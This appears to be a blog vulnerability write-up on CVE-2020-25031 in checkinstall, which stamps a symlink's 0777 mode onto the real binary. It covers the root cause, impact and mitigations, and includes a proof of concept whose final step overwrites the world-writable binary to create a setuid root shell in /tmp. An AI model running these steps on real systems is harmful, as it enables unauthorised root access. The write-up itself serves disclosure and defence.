Feb 18, 2026·6 min read·4 visits
checkinstall version 1.6.2 (and likely others) misapplies permissions when packaging software containing symlinks. It takes the symbolic link's 'virtual' 0777 permissions and applies them to the actual target file. If an admin uses checkinstall to package a binary that has a symlink pointing to it, the installed binary becomes world-writable. Local users can then overwrite the binary with a malicious payload to gain root access.
checkinstall, a popular utility for creating Debian or RPM packages from source code, contains a critical flaw in how it handles symbolic links. By misinterpreting the permissions of symlinks (which appear as 777 on Linux), the tool inadvertently sets the target binaries to world-writable in the generated package. This allows any local user to modify system binaries installed via these packages, leading to trivial Local Privilege Escalation.
We have all been there. You need a piece of software that isn't in the official repositories. You download the source, run ./configure, make, and then you pause at make install. If you run that, you are scattering files all over your filesystem with no easy way to remove them later. Enter checkinstall.
checkinstall is the hero we thought we needed. It wraps the installation process, watches where files go, and politely packages them into a .deb or .rpm so you can manage them with your system's package manager. It is clean, it is efficient, and it is supposedly safe.
But here is the catch: checkinstall relies on a library called installwatch to spy on file system operations. It intercepts calls to see what is being touched. In CVE-2020-25031, this spy got a little too confused about the difference between a map and the territory. Specifically, it forgot that on Linux, a symbolic link looks like it has open doors (0777 permissions), even if the house it points to is locked tight.
To understand this bug, you need to understand a quirk of Unix-like filesystems. If you run ls -l on a symbolic link, you will almost always see permissions that look like this: lrwxrwxrwx. That translates to 0777—read, write, and execute for everyone. However, these permissions are a mirage; the actual access control is determined by the target file, not the link itself.
The vulnerability exists in how checkinstall (via installwatch) handles these permissions during the packaging phase. When the software being compiled creates a symlink (e.g., /usr/bin/myapp-v1 aliased as /usr/bin/myapp), checkinstall detects the file creation.
Here is where the logic fails: It reads the permissions of the file being created. When it encounters the symlink, it sees 0777. Instead of realizing "Hey, that's just a link," or applying those permissions only to the link itself, it inadvertently applies that 0777 mode to the target file inside the generated package structure. It effectively takes the "fake" permissions of the link and stamps them onto the real binary.
While the upstream code for checkinstall hasn't seen major updates in years (which is part of the problem), we can reconstruct the behavioral flaw through the lens of system calls. The core issue is a classic confusion between stat() and lstat() semantics, or simply a failure to check file types before copying permission bits.
When checkinstall prepares the package, it mirrors the installed files into a temporary directory. The logic roughly resembles this pseudocode disaster:
// Conceptual representation of the flaw
struct stat file_info;
// stat() follows links, lstat() does not.
// If the code uses stat() on a symlink, it gets the TARGET's info.
// If it uses lstat() on a symlink, it gets the LINK's info (st_mode usually 777).
lstat("symlink_to_binary", &file_info);
// file_info.st_mode is now 0777 (lrwxrwxrwx)
// The Fatal Mistake:
// Applying the link's mode to the destination file in the package
chmod(destination_binary, file_info.st_mode);The result is a Debian package (.deb) where the control data says: "Please install /usr/bin/target_binary and make sure it is world-writable." The package manager, being an obedient servant, does exactly that.
This is a Local Privilege Escalation (LPE) waiting to happen. The "attacker" here is actually the system administrator who accidentally creates a vulnerable package, but a savvy local user can exploit it instantly. Let's look at how to reproduce this using the method discovered by the researchers.
1. Create the Poisoned Source We simulate a software build that creates a binary and a symlink to it.
# Create a fake binary structure
mkdir -p usr/bin
echo -e '#!/bin/sh\necho I am safe' > usr/bin/safe_binary
chmod 755 usr/bin/safe_binary
# Create the fatal symlink
ln -sf safe_binary usr/bin/link_to_binary
# Tar it up like a source package
tar c usr/bin/safe_binary usr/bin/link_to_binary | gzip -c > source.tar.gz2. Run the Vulnerable Tool
The admin runs checkinstall to turn this tarball into a DEB.
checkinstall --install=no -y --pkgname=oops --pkgversion=1.0 -- \
bash -c "gzip -cd source.tar.gz | (cd /; tar xv)"3. verification of Doom
If we inspect the resulting .deb file, we see the catastrophe:
dpkg -c oops_1.0-1_amd64.deb
# Output:
# -rwxrwxrwx root/root ... ./usr/bin/safe_binary4. The Takeover Once installed, any user on the system can do this:
# Overwrite the system binary with a shell spawner
echo "cp /bin/sh /tmp/rootsh; chmod +s /tmp/rootsh" > /usr/bin/safe_binary
# Wait for root to run it (or ask them to)
/usr/bin/safe_binary
# Enjoy your root shell
/tmp/rootshThe severity of CVE-2020-25031 is deceptively high. It is labeled as "Low Exploitability" because it requires an admin to mistakenly use the tool, but the impact is absolute compromise.
This vulnerability breaks the fundamental trust model of Linux permissions. We assume that if we install software as root, it is protected from users named guest or www-data. This bug inverts that assumption. By automating the packaging process, checkinstall essentially automates the removal of security boundaries.
Furthermore, this is persistent. Even if you reboot, that binary remains world-writable. Unless you are running file integrity monitoring (FIM) or auditing your filesystem permissions regularly (find /usr -perm -777), this backdoor could exist on your servers for years, unnoticed, just waiting for a compromised web service or a rogue user to stumble upon it.
Here is the cynical part: checking the Debian and Ubuntu trackers, this issue is often marked as "Unimportant" or "WontFix". The argument is often that checkinstall should not be used on untrusted systems or essential production pipelines. Essentially, the vendor response is a shrug.
How to mitigate this:
dpkg-buildpackage, rpmbuild, or modern wrappers like fpm (Effing Package Management).checkinstall, never install the result blindly. Run dpkg -c filename.deb and look for -rwxrwxrwx permissions on files that are not symlinks.There is no magic patch button for this one in many repositories. The fix is to stop trusting the tool to understand symlinks.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
checkinstall ASIC-Linux | <= 1.6.2 | None (Vendor WontFix in many cases) |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-59 / CWE-276 |
| CVSS v3.1 | 7.8 (High) |
| Attack Vector | Local (Admin interaction required) |
| Impact | Privilege Escalation (Root) |
| Root Cause | Improper symlink permission handling |
| Exploit Status | PoC Available |
Improper Link Following / Incorrect Default Permissions